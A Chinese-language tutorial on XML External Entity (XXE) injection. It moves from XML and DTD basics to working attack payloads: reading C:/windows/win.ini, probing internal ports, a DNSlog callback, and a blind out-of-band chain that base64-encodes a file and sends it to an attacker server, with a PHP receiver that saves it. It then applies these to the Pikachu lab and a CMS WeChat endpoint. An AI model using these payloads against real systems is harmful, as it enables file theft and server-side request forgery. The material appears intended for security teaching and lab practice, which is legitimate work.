XXE,全称为XML External Entity Injection,即XML外部实体注入漏洞。要深入理解XXE的原理与利用方式,首先需要掌握XML的基本概念和结构。
XML(Extensible Markup Language)是一种类似于HTML的标记语言,但其设计目标主要用于数据的传输和存储,而非像HTML那样用于页面展示。
与HTML不同,XML没有预定义标签,所有标签都需要用户自行定义。因此,它具有更高的灵活性,适用于多种数据交互场景。
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
语法解析说明:
<note>:是根元素
而:
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
<to><from><heading><body>这些标签都是子元素
在定义XML元素名称时需遵循以下规则:
一个“合法”的XML文档是指通过DTD(Document Type Definition,文档类型定义)验证的文档。这意味着每份XML文件都应包含DTD声明。
掌握DTD相关知识对于理解和利用XXE漏洞至关重要。接下来我们通过XML来学习DTD的使用方法。
DTD(Document Type Definition)用于定义XML文档的结构和合法元素。根据DTD的引入方式,可分为内部DTD和外部DTD。
当DTD被直接嵌入到XML文件中时,称为内部DTD。此时应将其包裹在DOCTYPE声明中,语法如下:
<!DOCTYPE root-element [element-declarations]>
其中:
示例:一个完整的内部DTD定义如下:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>程咬金</to>
<from>貂蝉</from>
<heading>通知</heading>
<body>今天晚上,大战三百回合!</body>
</note>
对该DTD的解释:
!ELEMENT:用于声明某个元素的名称及内容结构;!DOCTYPE note 表明该文档属于note类型;#PCDATA 表示这些子元素的内容可以是任意文本字符串。例如,在以下XML片段中:
程咬金 貂蝉 通知 今天晚上,大战三百回合!
上述内容中的“程咬金”、“貂蝉”、“通知”以及“今天晚上,大战三百回合!”均属于#PCDATA类型的值,即可自由填写的文本内容。
若DTD独立于XML文件之外,则称为外部DTD,其引用语法如下:
<!DOCTYPE root-element SYSTEM "filename">
注意:SYSTEM关键字必须大写,filename指代外部DTD文件路径。
首先创建一个名为note.dtd的外部文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
然后编写引用该DTD的XML文件:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>周瑜</to>
<from>黄盖</from>
<heading>提示</heading>
<body>老子不服输</body>
</note>
在DTD中,“实体”类似于变量,可在文档内部或外部进行声明。实体的基本格式由三部分组成:一个&符号、实体名称、一个分号,如:&age;。
语法结构如下:
<!ENTITY entity-name "entity-value">
示例应用:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE stu [
<!-- 元素声明 -->
<!ELEMENT stu (name, age, address)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!-- 实体声明 -->
<!ENTITY name "亚瑟">
<!ENTITY age "18">
<!ENTITY address "对抗路">
]>
<!-- 实体引用部分 -->
<stu>
<name>&name;</name>
<age>&age;</age>
<address>&address;</address>
</stu>
浏览器渲染效果如下:
外部实体的声明方式与内部实体类似,区别在于其数据源位于外部文件中。
一种常见的引用方式是以实体形式加载外部txt文件:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///D:/www/xxe/data.txt">]>
<root>
<username>&name;</username>
</root>
例如:file:///D:/www/xxe/data.txt,可替换为实际存在的本地文件路径。
注意:直接通过浏览器打开XML文件无法读取此类外部资源,必须借助服务端程序(如PHP)进行解析。
此外,data.txt中只能存放纯文本形式的实体值,例如&name;所对应的字符串内容。
另一种方式是引用外部DTD文件,但必须将引用直接写入DOCTYPE声明中:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root SYSTEM "data.dtd">
<root>
<username>&name;</username>
</root>
两种方式的主要差异在于:
<!ENTITY name SYSTEM ...>)的方式只能读取普通文本文件(如txt);<!DOCTYPE root SYSTEM "data.dtd">
以下是用于解析XML并处理DTD/实体的PHP代码示例:
<?php
header("Content-type:text/html;charset=utf-8");
$xml = <<<eof
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///D:/123.txt">]>
<root>
<username>&name;</username>
</root>
eof;
$obj = simplexml_load_string($xml,"SimpleXMLElement", LIBXML_NOENT |
LIBXML_DTDLOAD );
echo $obj->username;
只需将自定义的XML内容插入至$xml = <<<EOF 与 EOF; 之间,即可通过PHP成功解析外部DTD或TXT文件,并调用实体(如&name;)的实际值。
参数实体是一种特殊的实体,仅能在DTD内部使用。其语法如下:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
注意事项:
% 与实体名称之间必须有一个空格;示例XML内容:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE people [
<!ENTITY % name SYSTEM "entitytestout.dtd">
<!--在DOCTYPE内加载外部参数实体-->
%name;
]>
<!--实体引用-->
<people>
<username>&name;</username>
<!--这里还可以继续写别的一般实体-->
</people>
对应的PHP处理代码:
<?php
header("Content-type:text/html;charset=utf-8");
$xml = <<<eof
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE people [
<!ENTITY % name SYSTEM "entitytestout.dtd">
<!--加载外部参数实体-->
%name;
]>
<people>
<username>&name;</username>
</people>
eof;
$obj = simplexml_load_string($xml,"SimpleXMLElement", LIBXML_NOENT |
LIBXML_DTDLOAD );
//username 指的元素标签
echo $obj->username;
特别提醒:
参数实体的外部引用方式不同于普通实体。此前已说明,普通实体若要引用外部TXT文件,可通过实体声明实现;但若想引用外部DTD文件,则必须将其直接写入DOCTYPE中并通过SYSTEM方式引入。参数实体同样遵循此规则。
在了解XML的基础上,我们可以进一步分析XXE漏洞的形成机制。
漏洞成因:当系统在解析XML文档时,未对外部实体进行有效限制,攻击者便可将恶意的POC(Proof of Concept)注入至XML结构中。这会导致服务器加载非法外部实体,从而引发诸如文件读取、SSRF(服务器端请求伪造)、甚至命令执行等安全问题。
以下是一个典型的XXE漏洞用于读取服务器本地文件的POC示例:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<root>&xxe;</root>
注意:win.ini属于文本格式文件,因此可以在外部实体声明中通过SYSTEM方式被正常引用和加载。
参数实体可被PHP直接解析,这意味着可以通过实体声明使用SYSTEM方式引入外部DTD文件,无需将其改为txt扩展名。
DTD内容如下:
<!-- 元素声明 -->
<!ELEMENT people (person,person)>
<!ELEMENT person (username,age,address)>
<!ELEMENT username (#PCDATA)> <!-- #PCDATA any 可以输入任意值 -->
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!-- 实体声明 -->
<!ENTITY name "黄昏">
<!ENTITY age "11">
<!ENTITY city "北京">
需要注意的是:在实际应用中,可以忽略DTD中的元素声明部分,仅保留实体声明即可。因为PHP在处理SYSTEM引用时,只会解析实体声明区域。也就是说,在PHP环境下,根元素或子元素的名称可以任意定义,只要确保实体名称正确无误即可生效。
运行对应的PHP页面后,解析结果如下所示:
进入Pikachu靶场后,首先查看其后端实现代码并进行审计:
一旦发现代码中存在 simplexml_load_string() 函数调用,并且带有 LIBXML_NOENT 参数,则基本可以判定存在XXE漏洞的可能性极高。
该参数的作用是主动展开实体引用——若此时允许加载外部实体,便会触发XXE攻击条件。
第一个POC:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">
]>
<x>&xxe;</x>
第二个POC:探测内网端口
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % xxe SYSTEM "http://127.0.0.1:3306">
%xxe;
]>
<x>&xxe;</x>
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://127.0.0.1:3307">
%xxe;
]>
<x>&xxe;</x>
两个POC返回结果不同:其中一个返回空白,原因是MySQL服务返回的是二进制数据,而libxml无法解析此类数据;另一个则表现为持续加载(转圈),是因为目标端口3307实际上不存在。
第三个POC:DNSlog验证方式
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "http://372.cc324092.log.dnslog.pp.ua">
%file;
]>
由于此方法不依赖页面回显,因此无需使用参数实体引用。
当目标没有直接数据回显时(即盲注情况),需要通过间接手段将获取的信息发送到第三方服务器。通常采用三步法:
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.88.1/remote.dtd">
%dtd;
%send;
]>
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.88.1/remote.php?data=%file;'>">
%payload;
注意:% 字符在此处使用了十六进制实体编码形式(即 %25)。这样做的目的是为了延迟解析过程,确保先由DTD处理器解析 % payload 部分。
<?php file_put_contents('1.txt',$_GET['data']);
若操作成功,将在你的远程服务器根目录生成一个名为 1.txt 的文件,其中以Base64编码形式记录了 /windows/win.ini 的实际内容。
将SCMS项目的后端源码导入Seay审计工具中,开始全面代码审查。
通过全局搜索关键敏感函数:simplexml_load_string(),定位潜在风险点。
查看第五个匹配项,发现存在可疑调用。
深入分析源码:
可以看到,该函数接收的变量为 postArr,并生成 postObj 对象。根据后续逻辑判断,若想让XXE漏洞产生回显效果,需构造特定的子元素结构。
具体所需子元素如下:
<MsgType>text</MsgType> 这个子元素标签的值还必须是text才会走到这一步if里面;
<Content></Content>
<FromUserName></FromUserName>
<ToUserName></ToUserName>
除了<MsgType>text</MsgType>这个子元素标签的值我们知道是text以外,其余都不知道。
然而,若无法确定确切回显位置,可采取“盲猜”策略,对所有可能的位置注入实体引用 &xxe;。
构造如下payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<x>
<MsgType>text</MsgType>
<Content>&xxe;</Content>
<FromUserName>&xxe;</FromUserName>
<ToUserName>&xxe;</ToUserName>
</x>
使用Burp Suite抓取目标页面请求包。根据代码逻辑,signature 参数必须存在,可随意赋值如=123。
目标URL为:
http://www.xxecms.com/weixin/index.php?signature=123
将上述payload附加在请求体末尾:
最终观察响应结果发现:两个子元素标签均成功回显出 win.ini 文件的内容。
GET IT!
扫码加好友,拉您进群



收藏
